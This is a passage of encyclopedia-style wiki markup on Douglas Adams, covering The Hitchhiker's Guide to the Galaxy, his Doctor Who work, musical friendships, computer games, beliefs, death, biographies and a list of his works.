In 1979, Adams and [[John Lloyd (writer)|John Lloyd]] wrote the scripts for two half-hour episodes of ''[[Doctor Snuggles]]'': &quot;The Remarkable Fidgety River&quot; and &quot;The Great Disappearing Mystery&quot; (episodes seven and twelve). John Lloyd was also co-author of two episodes from the original &quot;Hitchhiker&quot; radio series (Fit the Fifth and Fit the Sixth (a.k.a. Episodes Five and Six, ''see explanation below'')), as well as ''[[The Meaning of Liff]]'' and ''[[The Deeper Meaning of Liff]]''. Lloyd and Adams also collaborated on an SF movie comedy project based on ''[[The Guinness Book of World Records]]'', which would have starred [[John Cleese]] as the UN Secretary General, and had a race of aliens beating humans in athletic competitions, but the humans winning in all of the &quot;absurd&quot; record categories. This latter project never proceeded past a treatment.

After the first radio series of ''The Hitchhiker's Guide'' became successful, Adams was made a BBC radio producer, working on ''[[Week Ending]]'' and a pantomime called ''[[Black Cinderella Two Goes East]]''. He left the position after six months to become the script editor for [[Doctor Who]].

==''The Hitchhiker's Guide to the Galaxy''==
[[Image:H2G2 UK front cover.jpg|thumb|right|225px|Front cover, designed by [[Hipgnosis]], of the original UK paperback edition of the novel ''[[The Hitchhiker's Guide to the Galaxy (book)|The Hitchhiker's Guide to the Galaxy]]''.]]

''[[The Hitchhiker's Guide to the Galaxy]]'' was a concept for a science-fiction comedy radio series pitched by Adams and radio producer [[Simon Brett]] to [[BBC Radio 4]] in 1977. Adams came up with an outline for a pilot episode, as well as a few other stories (reprinted in Neil Gaiman's book ''[[Don't Panic: The Official Hitchhikers Guide to the Galaxy Companion]]'') that could potentially be used in the series. 

According to Adams, the idea for the title ''The Hitchhiker's Guide to the Galaxy'' occurred to him while he lay drunk in a field in [[Innsbruck]], [[Austria]] (though he joked that the [[BBC]] would instead claim it was [[Spain]] &quot;because it's easier to spell&quot; {{ref|Adams2003_10}}), gazing at the stars. He had been wandering the countryside while carrying a book called the ''[[Hitch-hiker's Guide to Europe]]'' when he ran into a town where, as he humorously describes, everyone was either &quot;deaf&quot; and &quot;dumb&quot; or only spoke languages he couldn't. After wandering around and drinking for a while, he went to sleep in the middle of a field and was inspired by his inability to communicate with the townspeople. He later said that due to his constantly retelling this story of inspiration, he no longer had any memory of the moment of inspiration itself, and only remembered his retellings of that moment. A postscript to M. J. Simpson's biography of Adams, ''Hitchhiker'', provides evidence that the story was in fact a fabrication and that Adams had conceived the idea some time ''after'' his trip around Europe.

Despite the original outline, Adams was said to make up the stories as he wrote. He turned to [[John Lloyd (writer)|John Lloyd]] for help with the final two episodes of [[The Hitchhiker's Guide to the Galaxy Primary and Secondary Phases#The Primary Phase|the first series]]. Lloyd contributed bits from an unpublished science fiction book of his own, called ''GiGax''. {{ref|Webb2005_120}} However, very little of Lloyd's material survived in later adaptations of ''Hitchhiker's'', such as the novels and the TV series. The TV series itself was based on the first six radio episodes, but sections contributed by Lloyd were largely re-written. 

[[BBC Radio 4]] broadcast the first radio series weekly in the UK in March and April 1978. Following the success of the first series, another episode was recorded and broadcast, which was commonly known as the [[Christmas]] Episode. [[The Hitchhiker's Guide to the Galaxy Primary and Secondary Phases#The Secondary Phase|A second series]] of five episodes was broadcast one per night, during the week of [[21 January]] - [[25 January]] [[1980]]. 

While working on the radio series (and with simultaneous projects such as ''[[The Pirate Planet]]'') Adams developed problems keeping to writing deadlines that only got worse as he published novels. Adams was never a prolific writer and usually had to be forced by others to do any writing. This included being locked in a [[hotel]] suite with his [[editor]] for three weeks to ensure that ''[[So Long, and Thanks For All the Fish]]'' was completed. {{ref|2004bookslut}} He was quoted as saying, &quot;I love deadlines. I love the whooshing noise they make as they go by.&quot; {{ref|HitchhikerUS236}}

[[Image:DNA with H2G2 towel.JPG|thumb|left|200px|Douglas Adams with an officially licensed ''Hitchhiker's Guide to the Galaxy'' towel on his left shoulder.]]

The books formed the basis for other adaptations, such as three-part comic book adaptations for each of the first three books, an interactive text-adventure [[computer game]], and a photo illustrated edition, published in 1994. This latter edition featured a [[42 Puzzle]] designed by Adams, which was later incorporated into paperback covers of the first four &quot;Hitchhiker's&quot; novels (the paperback for the fifth re-used the artwork from the hardcover edition).{{ref|42PuzzleCovers}} Adams also began attempts to turn the first ''Hitchhiker's'' novel into a movie in 1980, making several trips to [[Los Angeles, California]], and working with a number of Hollywood studios and potential producers. When he died in 2001 in California, he had been trying again to get the movie project green-lit with Disney. The screenplay finally got a posthumous re-write by [[Karey Kirkpatrick]], was green-lit in September 2003, and [[The Hitchhiker's Guide to the Galaxy (film)|the resulting movie]] was released in 2005.

Radio Producer [[Dirk Maggs]] had consulted with Adams in 1993 about creating a third radio series, based on the third novel in the ''Hitchhiker's'' series. They also vaguely discussed the possibilities of radio adaptations of the final two novels in the five-book &quot;trilogy.&quot; As well as the movie, this project was only realized after Adams's death. The third series, ''[[The Hitchhiker's Guide to the Galaxy Tertiary to Quintessential Phases#The Tertiary Phase|The Tertiary Phase]]'', was broadcast on [[BBC Radio 4]] in September 2004 and is now available on audio CD. Douglas Adams himself can be heard playing the part of Agrajag. ''So Long, and Thanks For All the Fish'' and ''Mostly Harmless'' made up the fourth and fifth radio series, respectively (on radio they were titled ''[[The Hitchhiker's Guide to the Galaxy Tertiary to Quintessential Phases#The Quandary Phase|The Quandary Phase]]'' and ''[[The Hitchhiker's Guide to the Galaxy Tertiary to Quintessential Phases#The Quintessential Phase|The Quintessential Phase]]'') and these were broadcast in May and June of 2005, and subsequently released on Audio CD. The last episode in the last series (with a new, &quot;more upbeat&quot; ending) concluded with, &quot;The very final episode of ''The Hitchhiker's Guide to the Galaxy'' by Douglas Adams is affectionately dedicated to its author.&quot; {{ref|ScriptBookTwo356}}

==''Doctor Who''==
[[Image:The Pirate Planet Writers Credit.jpg|thumb|200px|Douglas Adams's credit from the opening titles of the ''[[Doctor Who]]'' serial ''[[The Pirate Planet]]''.]]
Adams sent the script for the HHGG pilot radio programme to the ''[[Doctor Who]]'' production office in 1978, and was commissioned to write ''[[The Pirate Planet]]'' (see below). He had also previously attempted to submit a potential movie script, called &quot;Doctor Who and the Krikkitmen,&quot; which later became his novel ''Life, the Universe, and Everything'' (which in turn became the third ''Hitchhiker's Guide'' radio series). Adams then went on to serve as script editor on the show for its seventeenth season in 1979. Altogether, he wrote three [[List of Doctor Who serials|''Doctor Who'' serials]] starring [[Tom Baker]] as the Doctor:

* ''The Pirate Planet'' (the second serial in the &quot;[[The Key to Time|Key To Time]]&quot; arc, in [[List of Doctor Who serials#Season 16 (1978-79)|Season 16]])
* ''[[City of Death]]'' (with producer [[Graham Williams]], from an original storyline by writer [[David Fisher]]. It was transmitted under the pseudonym &quot;[[David Agnew]]&quot;)
* ''[[Shada]]'' (only partially filmed and not broadcast due to industrial disputes)

Adams was also known to allow [[The Hitchhiker's Guide to the Galaxy cultural references#Hitchhiker's references in Doctor Who|in-jokes]] from ''The Hitchhiker's Guide'' to appear in the ''Doctor Who'' stories he wrote and other stories on which he served as Script Editor. Conversely, at least one reference to ''Doctor Who'' was worked into a ''Hitchhiker's'' novel. In ''[[Life, the Universe and Everything]]'', two characters travel in time and land on the pitch at [[Lord's Cricket Ground]]. The reaction of the radio commentators to their sudden appearance is very similar to a scene in the eighth episode of the 1965-66 story ''[[The Daleks' Master Plan]]'', which has [[Doctor (Doctor Who)|the Doctor]]'s [[TARDIS]] [[Materialization (science fiction)|materialise]] on the pitch at Lord's, with the reactions of the match's commentators.

Elements of ''Shada'' and ''City of Death'' were reused in Adams's later novel ''[[Dirk Gently's Holistic Detective Agency]]'', in particular the character of [[Professor Chronotis]]. [[Big Finish Productions]] eventually remade ''Shada'' as an audio play starring [[Paul McGann]] as the Doctor. Accompanied by partially animated illustrations, it was [[Doctor Who spin-offs#Webcasts|webcast]] on the [[BBCi]] website in 2003, and subsequently released as a two-CD set later that year. An omnibus edition of this version was broadcast on the digital radio station [[BBC7]] on [[10 December]] [[2005]].

Adams is credited with introducing a fan of his, the zoologist [[Richard Dawkins]], to Dawkins' future wife, [[Lalla Ward]], who had played the part of [[Romana]] in Doctor Who.

When he was at school, he wrote and performed a play called ''Doctor Which''.

==Music==
Adams played the left-handed [[guitar]] and had a collection of twenty-four of these instruments when he died in 2001 (having received his first guitar in 1964). He also studied [[piano]] in the 1960s with the same instructor who taught [[Paul Wickens]], the pianist who later played in [[Paul McCartney]]'s band (and composed the music for the 2004-2005 editions of the ''Hitchhiker's Guide'' radio series). {{ref|Webb2005_49}} [[The Beatles]], [[Pink Floyd]] and [[Procol Harum]] all had great influence on Adams's work.

===Pink Floyd===
Adams included a direct reference to [[Pink Floyd]] in the original radio version of ''[[The Hitchhiker's Guide to the Galaxy]]'', in which he describes the main characters surveying the landscape of an alien planet while Marvin, their android companion, hums Pink Floyd's &quot;Shine on You Crazy Diamond&quot;. See also [[Pink Floyd trivia]] or [[The Hitchhiker's Guide to the Galaxy (radio series)#Trivia|Hitchhiker's radio series trivia]].

Adams's official biography shares its name with the song &quot;Wish You Were Here&quot; by [[Pink Floyd]]. Adams was friendly with their guitarist [[David Gilmour]] and, on the occasion of his 42nd birthday (the number 42 having especial significance, being [[The Answer to Life, the Universe and Everything]]), was invited to make a guest appearance at one of their 1994 concerts in [[London]], playing [[rhythm guitar]] on the songs &quot;Brain Damage&quot; and &quot;Eclipse&quot;. Adams chose the name for Pink Floyd's 1994 album, ''[[The Division Bell]]'' by picking the words from the lyrics to one of its tracks. Gilmour also performed at Adams's Memorial Service.

Pink Floyd and their lavish stage shows were also the inspiration for the Adams-created fictional [[rock band]] &quot;[[Minor characters from The Hitchhiker's Guide to the Galaxy#Hotblack Desiato|Disaster Area]]&quot;, described in the ''Hitchhiker's Guide'' as not only the loudest rock band in the galaxy, but in fact the loudest noise of any kind at all. One element of Disaster Area's stage show was to send a space ship hurtling into a sun, probably inspired by the plane that would crash into the stage during some of Pink Floyd's live shows, usually at the end of &quot;On The Run&quot;. The 1968 Pink Floyd song “Set The Controls For The Heart Of The Sun” may also have influenced part of the ideas behind Disaster Area.

===Procol Harum===
Douglas Adams was a good friend with [[Gary Brooker]], the lead singer, pianist and songwriter of the [[progressive rock]] band [[Procol Harum]]. Adams is known to have invited Brooker to one of the many parties that Adams held at his house. On one such occasion Gary Brooker performed the full (4 verse) version of his hit song ''[[A Whiter Shade of Pale]]''. Brooker also performed at Adams's Memorial Service.

Adams also appeared on stage with Brooker to perform ''In Held Twas in I'' at Redhill when the band's lyricist [[Keith Reid]] was not available. On several other occasions he had been known to introduce Procol Harum at their gigs. 

Adams also let it be known that while writing he would listen to music, and this would occasionally influence his work. On one occasion the title track from the Procol Harum album ''[[Grand Hotel (album)|Grand Hotel]]'' was playing when ''&quot;suddenly in the middle of the song there was this huge orchestral climax that came out of nowhere and didn't seem to be about anything. I kept wondering what was this huge thing happening in the background? And I eventually thought ... it sounds as if there ought to be some sort of floorshow going on. Something huge and extraordinary, like, well, like the end of the universe. And so that was where the idea for The Restaurant at the End of the Universe came from.&quot;'' {{ref|ProcolHarum}}

===Other musical links===
Adams made a number of links to music of the time in his books. For example, a [[mouse]] proposes that the Ultimate Question of Life, the Universe and Everything is &quot;How many roads must a man walk down?&quot;, a line from [[Bob Dylan]]'s song ''[[Blowin' in the Wind]]''.

In ''The Hitchhiker's Guide to the Galaxy'', as the Heart of Gold approaches [[Magrathea]] and the ship's computer is otherwise occupied, Eddie, the ship's computer personality, sings ''[[You'll Never Walk Alone (song)|You'll Never Walk Alone]]'' in the background, a [[Rodgers and Hammerstein]] hit from the musical [[Carousel (musical)|Carousel]].

''The Restaurant at the End of the Universe'' is dedicated to the 1980 Paul Simon soundtrack album [[One Trick Pony]].  Adams says he played it &quot;incessantly&quot; while writing the book.

In ''So Long, and Thanks For All the Fish'', Arthur Dent listens to a [[Dire Straits]] LP and Adams goes on to pay tribute to their lead guitarist, [[Mark Knopfler]]. Adams later revealed that the particular song to which he refers in the book&amp;mdash;although never by name&amp;mdash;is ''Tunnel of Love'', from the ''Making Movies'' album.

In ''Mostly Harmless'', [[Elvis Presley|Elvis]] is discovered playing in a diner attended by [[Ford Prefect]] and [[Arthur Dent]], where he is simply known as &quot;The King&quot;.

Besides modern rock music, Douglas Adams was a great admirer of the work of [[JS Bach]], which provides a minor plot element in ''Dirk Gently's Holistic Detective Agency''.

Adams was also a major fan of [[The Beatles]]. He makes a reference to [[Paul McCartney]] in ''Life, The Universe, and Everything'' and quotes lyrics and titles from songs by The Beatles in ''Mostly Harmless'' and ''Dirk Gently's Holistic Detective Agency''.

Adams also does this at least once in ''The Salmon of Doubt''. In Chapter 3 there is a conversation between Kate and Dirk, which includes the following exchange:
:&quot;So?&quot;&lt;br&gt;
:&quot;I looked around and I noticed there wasn't a chair.&quot;

Taken together, these two lines form a quotation from &quot;Norwegian Wood&quot; on the ''[[Rubber Soul]]'' album.

==Computer games and projects==
[[Image:Starship Titanic box art.jpg|thumb|right|150px|Front cover of the box from the original U.S. Windows 95 CD-ROM release of ''[[Starship Titanic]]'', by Simon &amp; Schuster Interactive.]]

Douglas Adams created an [[interactive fiction]] version of ''[[The Hitchhiker's Guide to the Galaxy (computer game)|HHGG]]'' together with [[Steve Meretzky]] from [[Infocom]] in 1984. In 1986 he participated in a weeklong brainstorming session with the [[Lucasfilm Games]] team for the game, ''[[Labyrinth (game)|Labyrinth]]''. Later he was also involved in creating ''[[Bureaucracy (computer game)|Bureaucracy]]'' (also by Infocom, but not based on any book). Adams was also responsible for the computer game ''[[Starship Titanic]]'', which was published in 1999 by [[Simon and Schuster]]. Terry Jones wrote the accompanying book, entitled ''Douglas Adams’s Starship Titanic'', since Adams was too busy with the computer game to do both. In April 1999, Adams initiated the [[H2G2|h2g2]] [[collaborative writing]] project which was the most prominent attempt at making The Hitchikers Guide to the Galaxy a reality.

In 1990, Adams wrote and presented a [[television documentary]] programme ''[[Hyperland]]'' {{ref|Hyperland_IMDb}} also featuring [[Tom Baker]] as a &quot;software agent&quot; (similar to the &quot;Assistants&quot; used in several versions of [[Microsoft Office]], derived from their failed &quot;Bob&quot; program), and interviews with [[Ted Nelson]], which was essentially about the use of [[hypertext]]. Although Adams didn't ''invent'' hypertext, he was an [[early adopter]] and advocate of it, and his influence should not be underestimated. This was the same year that [[Tim Berners-Lee]] used the idea of hypertext in his [[HTML]].

==Dirk Gently==
[[Image:Dirk Gently UK front cover.jpg|thumb|right|150px|Front cover of the original UK hardcover edition of ''[[Dirk Gently's Holistic Detective Agency]]''.]]

In between Adams's first trip to Madagascar with [[Mark Carwardine]] in 1985, and their series of travels that formed the basis for the radio series and non-fiction book ''[[Last Chance to See]]'', Adams wrote two other novels with a new cast of characters. ''[[Dirk Gently's Holistic Detective Agency]]'' was first published in 1987, and was described by its author as &quot;a kind of ghost-horror-detective-time-travel-romantic-comedy-epic, mainly concerned with mud, music and quantum mechanics.&quot; {{ref|Gaiman2003_169}} It received many rave reviews from American newspapers upon its publication in the USA. Adams borrowed a few ideas from two ''[[Doctor Who]]'' stories he had worked on: ''[[City of Death]]'' and ''[[Shada]]''. 

A sequel novel, ''[[The Long Dark Tea-Time of the Soul]]'' was published a year later. This was an entirely original work, Adams's first since ''So Long, and Thanks for All the Fish.'' Reviewers, however, were not as generous with praise with the second volume as they had been with the first. After the obligatory book tours, Adams was off on his round-the-world excursion which supplied him with the material for ''Last Chance to See''.

==Personal beliefs==
===Religion===
Adams was a self-declared &quot;radical [[atheist]]&quot;, though he used the term for emphasis, so that he would not be asked if he in fact meant [[agnostic]]. He stated in an interview with American Atheists {{ref|AmAtheists}} that this was easier and conveyed the fact that he really meant it, had thought about it a great deal, and that it was an opinion he held seriously. He was convinced that there is no [[God]], having never seen one shred of [[evidence]] to convince him otherwise, and devoted himself instead to secular causes like [[environmentalism]].

===Environmentalism and Animal Rights===
Adams was also an [[environmental activist]] who campaigned on behalf of a number of [[endangered species]]. This activism included the production of the non-fiction radio series ''[[Last Chance to See]]'', in which he and [[naturalist]] [[Mark Carwardine]] visited rare species such as the [[kakapo]], and the publication of a tie-in book of the same name. In [[1992]], this was made into a CD-ROM combination of [[audio book]], [[eBook]] and picture slide show a decade before such things became fashionable. His environmental activism is also recounted in the book ''[[The Salmon of Doubt]]'' in a short account of a hike he once made across the plains of [[Africa]] while wearing a rhino suit.  

Since 2003, the British charity organization ''[[Save the Rhino]]'' (one of several similar charities supported by Adams) have held an annual Douglas Adams Memorial Lecture around the time of his birthday to raise money for environmental campaigns{{ref|DNAML}}.  The lectures in the series are:

* [[2003]] [[Richard Dawkins]] — ''Queerer than we can suppose: the strangeness of science''
* [[2004]] [[Robert Swan]] — on walking across [[Antarctica]] and his environmental work there 
* [[2005]] [[Mark Carwardine]] — ''Last Chance to See… Just a bit more'' 
* [[2006]] [[Robert Winston]] — ''Is the Human an Endangered Species?''

Adams and Mark Carwardine contributed the 'Meeting a Gorilla' passage from ''[[Last Chance to See]]'' to the book ''[[Great Ape Project|The Great Ape Project]]''. {{ref|TGAP}} This book, edited by [[Paola Cavalieri]] and [[Peter Singer]] launched a wider-scale project in 1993, which calls for the extension of moral equality to include all great apes, human or nonhuman.

===Technology===
Adams was a serious fan of technology. Though he did not buy his first [[word processor]] until 1982, he had considered one as early as 1979. He was quoted as saying that until 1982, he had difficulties with &quot;the impenetrable barrier of jargon. Words were flying backwards and forwards without concepts riding on their backs.&quot; In 1982, his first purchase was a 'Nexus'. In 1983, when he and Jane Belson went out to Los Angeles, he bought a [[Digital Equipment Corporation|DEC]] [[Rainbow-100|Rainbow]]. Upon their return to England, Adams bought an [[Apricot Computers|Apricot]], then a [[BBC Micro]] and a [[Tandy Corporation|Tandy]] 100. {{ref|Simpson2003_184-5}} In ''[[Last Chance to See]]'' Adams mentions his [[Cambridge Z88]], which he had taken to [[Zaire]] on a quest to find the Northern White Rhinoceros. {{ref|LCtC_59}}

Adams's posthumously published work, ''[[The Salmon of Doubt]]'', features multiple articles written by Douglas on the subject of technology, including reprints of articles that originally ran in ''MacUser'' magazine, and in ''The Independent on Sunday'' newspaper. In these, Adams claims that one of the first computers he ever saw was a [[Commodore PET]], and that his love affair with the [[Apple Macintosh]] first began after seeing one at Infocom's headquarters in Massachusetts in 1983 (though that was actually very likely an [[Apple Lisa]]). {{ref|Adams2002_90-1}}

Adams was a Macintosh user from the time they first came out in 1984 until his death in 2001. Adams was also an &quot;Apple Master,&quot; one of several celebrities whom Apple made into spokespeople for its products (other Apple Masters included [[John Cleese]] and [[Gregory Hines]]). Adams's contributions included a rock video that he created using the first version of [[iMovie]] with footage featuring his daughter Polly. The video can still be seen on Adams's [[.Mac]] homepage. Adams even installed and started using the first release of [[Mac OS X]] in the weeks leading up to his death. His very last post to his own forum was in praise of Mac OS X and the possibilities of its [[Cocoa (API)|Cocoa]] programming framework. {{ref|AdamsForum}} Adams can also be seen in the ''Omnibus'' tribute included with the Region One/NTSC DVD release of the TV adaptation of ''The Hitchhiker's Guide'' using Mac OS X (version 10.0.x) on his [[PowerBook]] G3.

Adams used e-mail extensively from the technology's infancy, adopting a very early version of e-mail to correspond with [[Steve Meretzky]] during the pair's collaboration on Infocom's version of ''[[The Hitchhiker's Guide to the Galaxy (computer game)|The Hitchhiker's Guide to the Galaxy]]''. While living in New Mexico in 1993 he set up another e-mail address and began posting to his own [[USENET]] newsgroup: alt.fan.douglas-adams. {{ref|GoogleAFDA1}} Many of his posts are now archived through [[Google]]. Challenges to the authenticity of his identity later led Adams to set up a message forum on his own website to avoid the issue.

==Personal life==
In the early 1980s, Adams had an affair with married novelist [[Sally Emerson]], to whom he dedicated his book ''[[Life, the Universe, and Everything]]''. Emerson returned to her husband after splitting with Adams in 1981, and Adams was soon afterward introduced by friends to Jane Belson, with whom he later became romantically involved. Belson was the &quot;lady barrister&quot; mentioned in the jacket-flap biography printed in his books during the mid-1980s (&quot;He [Adams] lives in Islington with a lady barrister and an Apple Macintosh&quot;). The two lived in Los Angeles together during 1983 while Adams worked on an early screenplay adaptation to make ''Hitchhiker'' into a Hollywood movie. When the deal fell through, they moved to London, and after several separations and an aborted engagement, they were married on [[25 November]] [[1991]]. Adams and Belson had one daughter together, Polly Jane Rocket Adams, born on [[22 June]] [[1994]], in the year that Adams turned [[42 (number)#In pop culture|42]]. In 1999, the family moved from London to [[Santa Barbara, California]], where they lived until Adams's death. Following his funeral, Jane Belson and Polly Adams returned to London, where they currently reside. {{ref|Webb2005_ch10}}

==Adams's death==
[[Image:The_Salmon_of_Doubt_Macmillan_front.jpg|thumb|175px|The front cover of the UK first hardcover edition of ''[[The Salmon of Doubt]]''.]]

Adams died of a [[Myocardial infarction|heart attack]] at the age of 49 on Friday 11th May 2001, while working out at a private [[gym]] in [[Montecito, California|Montecito]], [[California]]. He is survived by his wife Jane and daughter Polly. He was cremated, and his ashes were buried in [[Highgate Cemetery]] in north [[London]].

In May 2002, ''[[The Salmon of Doubt]]'' was published, containing many short stories, essays, and letters, and [[eulogy|eulogies]] from [[Richard Dawkins]], [[Stephen Fry]] (in the UK edition), [[Christopher Cerf]] (in the U.S. edition), and [[Terry Jones]] (in the U.S. paperback edition). It also includes eleven chapters of his long-awaited but unfinished novel, ''The Salmon of Doubt'', which was to be a new [[Dirk Gently]] and/or ''[[The Hitchhiker's Guide to the Galaxy|HHGG]]'' novel, or neither.

Other events after Adams's death included the completion of ''[[Shada]]'', radio dramatizations of the final three books in the ''Hitchhiker's'' series, and the completion of the film adaptation of ''[[The Hitchhiker's Guide to the Galaxy (book)|The Hitchhiker's Guide to the Galaxy]]''.

==Biographies==
His [[official biography]], ''Wish You Were Here'', by [[Nick Webb (author)|Nick Webb]], was published on [[6 October]] [[2003]] (ISBN 0755311558). {{ref|2003WebbBio}}

Another biography is ''[[Hitchhiker: a Biography of Douglas Adams (book)|Hitchhiker: a Biography of Douglas Adams]]'' (2003) by M. J. Simpson, with a [[foreword]] (in the [[UK]] edition) by [[John Lloyd (writer)|John Lloyd]] (ISBN 0340824883). The [[United States|American]] edition contains a foreword by [[Neil Gaiman]] (ISBN 1932112170).

Upon the mutual discovery that Webb and Simpson were both working on new posthumous biographies, the two authors agreed that the former would focus on Adams's life and personality, and the latter on his work.

The BBC produced a tribute as part of their TV series Omnibus. It was first broadcast on BBC 2 on [[4 August]] [[2001]], presented by [[Kirsty Wark]]. The programme included interviews with [[Stephen Fry]], [[Clive Anderson]], [[Terry Jones]], [[Griff Rhys Jones]], [[Richard Dawkins]] and John Lloyd, among others. A copy is included with the Region One DVD release of the ''Hitchhiker's Guide'' TV series. 

A movie documentary, ''Life, The Universe and Douglas Adams'', was released in 2002, directed and produced by Rick Mueller and Joel Greengrass. Archive footage of Adams is generously included, as well as interviews with Adams's friends, colleagues and family. This documentary was narrated by [[Neil Gaiman]] and is available on VHS tape. {{ref|2002Video}}

Earlier biographies include:

*''[[Don't Panic: The Official Hitchhikers Guide to the Galaxy Companion]]'' (1988, 1993, 2002), [[Neil Gaiman]] et al. Reissued October 2003 (ISBN 1840237422) with new chapters by M. J. Simpson and [[David K. Dickson]].
*''The Unofficial Guide to the Hitchhiker's Guide'' (2001), M. J. Simpson. Published the same year as ''The Pocket Essential Hitchhiker's Guide'' in the U.K. (ISBN 1903047404). A second, revised edition was published in 2005 in the UK, with new material (ISBN 1904048463).

==Douglas Adams's works==
''The Hitchhiker's Guide to the Galaxy'' on audio and video: The [[The Hitchhiker's Guide to the Galaxy Primary and Secondary Phases|original 12 radio episodes]] (from 1978 and 1980) are available in CD sets from BBC Audio (as The Primary &amp; Secondary Phases), as well as on a single [[MP3]]-CD. ''The Hitchhiker's Guide to the Galaxy'' was the first radio series released on Compact Disc and on MP3-CD, respectively, by the then [[BBC Radio Collection]]. The three additional phases adapted from the last three books in the series are available from BBC Audio. [[The Hitchhiker's Guide to the Galaxy Tertiary to Quintessential Phases#The Tertiary Phase|The Tertiary Phase]] was broadcast on BBC Radio [[21 September]] to [[26 October]] [[2004]], whilst [[The Hitchhiker's Guide to the Galaxy Tertiary to Quintessential Phases#The Quandary Phase|The Quandary Phase]] was broadcast [[3 May]] to [[24 May]] [[2005]], and [[The Hitchhiker's Guide to the Galaxy Tertiary to Quintessential Phases#The Quintessential Phase|The Quintessential Phase]] followed immediately afterward, from [[31 May]] through [[21 June]] [[2005]]. A script book for the original 12 episodes has been published, and a new script book for the final 14 episodes was published in July 2005. BBC Audio released a CD boxset containing all 26 episodes in October 2005. An Audio DVD for each of the three 2004-2005 series, in 5.1 surround sound, are also planned for release in 2006, starting in October, per Dirk Maggs. These DVD-Audio discs will be a first for BBC Audio. The six episode [[The Hitchhiker's Guide to the Galaxy (TV series)|TV adaptation]] is also available from the BBC (or its distributors, e.g. Warner Home Video in the USA and Canada) on VHS and DVD.

===Novels in the ''HHGG'' series===
* ''[[The Hitchhiker's Guide to the Galaxy (book)|The Hitchhiker's Guide to the Galaxy]]'' (1979)
* ''[[The Restaurant at the End of the Universe]]'' (1980)
* ''[[Life, the Universe and Everything]]'' (1982)
* ''[[So Long, and Thanks For All the Fish]]'' (1984)
* ''[[Mostly Harmless]]'' (1992)
All of the above are also available as audio books, read by Adams. ''The Hitchhikers Guide to the Galaxy'' is also available as an audiobook read by [[Stephen Fry]].

===The Dirk Gently series===
* ''[[Dirk Gently's Holistic Detective Agency]]'' (1987)
* ''[[The Long Dark Tea-Time of the Soul]]'' (1988)
Audiobook recordings of both novels do exist, read by Adams and [[Simon Jones (actor)|Simon Jones]] respectively, but are out of print.

===Other works===
[[Image:Deeper Meaning of Liff front cover.jpg|thumb|right|160px|Adams on the front cover of the ''[[The Deeper Meaning of Liff]]'', 1990.]]
* ''[[The Meaning of Liff]]'' (1983, with [[John Lloyd (writer)|John Lloyd]])
* ''[[The Hitchhiker's Guide to the Galaxy: The Original Radio Scripts]]'' (1985, with [[Geoffrey Perkins]])
* ''[[The Utterly Utterly Merry Comic Relief Christmas Book]]'' (1986, edited by Douglas Adams and [[Peter Fincham]]), which includes
** ''[[Young Zaphod Plays it Safe]]'' (also printed in a slightly reworked version in ''The Wizards of Odd'', ''The Salmon of Doubt'', and several omnibus editions of ''Hitchhiker'')
** ''[[The Private Life of Genghis Khan]]'', also available in the first edition of ''The Salmon of Doubt'', though later removed due to [[copyright]] issues
** ''[[A Christmas Fairly Story]]'' ([[sic]]) by Douglas Adams and [[Terry Jones]]
** A &quot;Supplement to ''[[The Meaning of Liff]]''&quot; with [[John Lloyd (writer)|John Lloyd]] and [[Stephen Fry]]
* ''[[The Deeper Meaning of Liff]]'' (1990, with [[John Lloyd (writer)|John Lloyd]]; extended version of ''The Meaning of Liff'')
* ''[[Last Chance to See]]'' (1991, with [[Mark Carwardine]], non-fictional account of several trips to see endangered species; according to a piece in ''[[The Salmon of Doubt]]'', this book gave Adams the most satisfaction, if not the highest sales)
* ''[[The Hitchhiker's Guide to the Galaxy (book)#Illustrated Edition|The Illustrated Hitchhiker's Guide to the Galaxy]]'' (1994)
* ''[[Douglas Adams's Starship Titanic]]'' (1997, written by [[Terry Jones]] (who insists he wrote the whole thing while in the nude), based on an idea by Douglas Adams; also available as an [[audiobook]], read by [[Terry Jones]])
* ''[[The Salmon of Doubt]]'' (2002), unfinished novel manuscript (11 chapters), short stories, essays, and interviews (also available as an audiobook, read by [[Simon Jones (actor)|Simon Jones]])

In 2004, BBC Audio published a 3-CD set entitled ''[[Douglas Adams at the BBC]]'', which covers the author's work from 1974 to 2003, including [[wiktionary:posthumous|posthumous]] projects and tributes. The CD is again narrated by [[Simon Jones (actor)|Simon Jones]].

===Tributes and honorifics===
* There is an official appreciation society (fan club) named ZZ9 Plural Z Alpha after the sector of the galaxy that ''The Hitchhiker's Guide to the Galaxy'' says the planet Earth is located in.
* ''[[18610 Arthurdent]]'' is a small [[asteroid belt|main belt]] [[asteroid]]. [[Felix Hormuth]] discovered it on [[February 7]], [[1998]]. It is named after Arthur Dent, the bewildered hero of ''The Hitchhiker's Guide to the Galaxy''. The name was officially published and announced by the [[Minor Planet Center]] of the [[International Astronomical Union]] on either [[9 May]] or [[10 May]] [[2001]] (accounts differ).
* On [[January 25]], [[2005]], it was announced that asteroid with preliminary designation ''2001 DA&lt;sub&gt;42&lt;/sub&gt;'' had been named [[25924 Douglasadams]] in his honour. It was chosen because it referenced the year of Adams's death, his initials and the number &quot;[[The Answer to Life, the Universe, and Everything|42]]&quot;. {{ref|MSNBC}}
* Every [[May 25]], [[Towel Day]] is celebrated in recognition of Adams's [[genius]].
* Various [[Douglas Adams Society|Douglas Adams Societies]] exist or have existed.

==Notes==
#{{Note|PromoPhoto}} [http://www.rockarchive.com/ Photographer Jill Furmanovsky's official site]
#{{Note|2005Webb01}} {{cite book
 | authorlink = Nick Webb (author) | last = Webb | first = Nick
 | title=Wish You Were Here: The Official Biography of Douglas Adams
 | edition =First U.S. hardcover edition
 | publisher=Ballantine Books
 | year=2005
 | pages = Page 32
 | id=ISBN 0-345-47650-6
 }} 
#{{Note|ODNB}} Webb, Nick, ‘Adams, Douglas Noël (1952–2001)’, ''Oxford Dictionary of National Biography'', online edn, Oxford University Press, Jan 2005 [http://www.oxforddnb.com/view/article/75853, accessed [[25 October]] [[2005]]]
#{{Note|EB_Adams}} &quot;Adams, Douglas Noël.&quot; Britannica Book of the Year, 2002 from Encyclopædia Britannica Online School Edition. [http://school.eb.com/eb/article-9383539, accessed [[November 13]] [[2005]]].
#{{Note|Webb2005_93}} Webb, page 93.
#{{Note|Adams2003_10}} {{cite book | author=Adams, Douglas| editor= Geoffrey Perkins (ed.),  Additional Material by M. J. Simpson | title=[[The Hitchhiker's Guide to the Galaxy: The Original Radio Scripts]] | pages = Page 10 | edition =25th Anniversary Edition | publisher=Pan Books | year=2003 | id=ISBN 0-330-41957-9}}
#{{Note|Webb2005_120}} Webb, page 120.
